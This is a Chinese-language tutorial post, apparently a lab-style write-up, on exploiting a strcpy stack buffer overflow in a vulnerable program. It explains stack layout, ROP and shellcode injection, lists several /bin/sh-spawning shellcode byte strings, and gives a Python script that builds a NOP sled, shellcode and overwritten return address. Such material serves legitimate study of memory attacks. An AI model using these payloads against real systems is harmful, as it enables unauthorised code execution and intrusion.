內存攻擊實戰筆記 - strcpy 棧溢出攻擊


1. 代碼靜態分析

 

 

  如上圖所示,有一個buffer很明顯可以被拿來溢出;

 

2. 攻擊邏輯分析

 

 

 上圖展示了一個正常的調用棧構成,在調用函數發起調用后,被調函數將形式參數、返回地址、前幀指針(記錄callee的棧頂)和本地變量依次壓進棧中,隨后執行函數功能。

攻擊者可以通過溢出本地變量的方式覆蓋掉返回地址,以此達到當被調函數返回時,返回到攻擊者指定內存地址的效果。如果該指定地點是一個已經存在的函數或共享庫中的函數,那么被調函數結束時,將會直接開始執行該指定函數。這種攻擊我們稱為 ROP攻擊(return oriented programming attack,面向返回編程攻擊)。如果返回地址是攻擊者控制的輸入(比如上圖中的buffer),而輸入中包含了可執行代碼(比如shellcode),那么這種攻擊我們稱為注入攻擊(Shellcode injection)。

本筆記便討論如何進行返回攻擊,實行該攻擊需要以下條件:

1. 攻擊者控制輸入

2. 注入地址可執行

攻擊完成后,棧內環境應該如下圖所示:

 

 

 

3. 攻擊過程記錄

通過代碼分析可知,漏洞存在攻擊者可以控制的輸入,但是不知道內存是否可以修改,所以使用下列命令查看:

gdb$ vmmap              # inside gdb debug tools
$ cat /proc/<pid>/maps  # in bash

輸出如下:

 

 可以看到在stack(棧)部分的內存是可執行1的,因而放置shellcode后如果能夠控制程序返回跳轉到這里,那么shellcode就能夠被執行。

攻擊中常用的幾種shellcode:

open = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff" + "/bin/sh"

bash = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

sudo = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

NUL = "\x90"

我們先隨便放點輸入,看看我們要攻擊的函數的棧結構:

 

  可以看到,棧中我們的輸入從0xffffd130<stack+16>處開始,在0xffffd43c<stack+796>處遇到了返回地址。也就是說,我們需要通過溢出的方式將 <stack+16> 到 <stack+795>的全部內存占滿並植入shellcode,然后在<stack+796>到<stack+800> 處放置我們設置的返回地址,也就是buffer的起始地址。

寫一個如下的python腳本來生成輸入:

import sys

# 占滿內存空間,使用大量的 0x90 是因為 0x90 是一條機器指令,其作用是消耗1CPU周期但不做任何操作,這樣就算是我們的return address設置的有點歪也不會出什么問題。 sys.stdout.write(
"\x90" * 16)
# 植入shellcode:打開 /bin/sh, 這一條shellcode長度是45 Byte sys.stdout.write(
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")
# 填滿剩下的部分,45 + 16 + 719 = 780 Bytes sys.stdout.write(
"\x90" * 719) # 在最后填上我們指定的返回地址。注意,上面的截圖中我們看到的buffer起始地址不一定是現在我們在用的地址,原因是隨着輸入字符數量的變化,argument部分(見第二部分的圖)的空間會變化,跟隨而來的,local variables的內存地址也會變化。
# 因而,此處的地址究竟是什么,還需要多次重復上面的過程來尋找答案。 sys.stdout.write(
"\x40\xce\xff\xff")

腳本寫完,run一下試試看:

(gdb) $run `python ./input.py`

成功:

 

 如紅框所示,我們成功的在gdb中開了一個/bin/sh.

4. DLC

1. 第三部分中的“可執行”的含義是:如果程序在應當執行指令的時候讀取到了stack上的內容,那么它可以執行。比如本例中我們將ret address改為了一個在stack上的地址,於是函數在執行到ret 的時候並沒有返回到他的

caller,也就是<main + 76>, 反而是跳轉到了我們指定的內存地址 0xffffce40 並把這個地址中的內容當作了可供執行的指令(而其中確實存放了可以執行的字節碼),所以此次攻擊成功了。如果跳轉后的地址沒有執行的權限,那么程序將拋出 segfault。

2. 第三部分中的第二張圖的幾個彩色框框的含義:

紅色框:內存地址

黃色框:內存地址中存放的內容

青色框:如果內存地址中存放的內容是指針(換句話說,還是個地址),那么在青色框中顯示對此地址的解引用(deref)結果。

因此,內存地址 0cffffd120 和 0xffffd124不是buffer的起始地址和結束地址。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM